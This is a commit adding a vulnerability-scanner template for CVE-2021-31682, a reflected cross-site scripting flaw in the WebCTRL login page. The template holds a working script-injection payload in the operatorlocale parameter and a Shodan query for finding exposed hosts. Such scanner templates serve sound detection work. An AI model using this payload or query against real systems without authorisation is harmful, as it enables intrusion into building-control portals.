Create CVE-2021-31682.yaml

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2021/CVE-2021-31682.yaml

@@ -0,0 +1,39 @@
+id: CVE-2021-31682
+
+info:
+  name: WebCTRL OEM - Reflected XSS
+  author: gy741,dhiyaneshDk
+  severity: medium
+  description: The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
+    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2021-31682
+    cwe-id: CWE-79
+  tags: cve,cve2021,webctrl,xss
+  metadata:
+    shodan-query: 'html:"/_common/lvl5/dologin.jsp"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.jsp?operatorlocale=en/%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%20'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header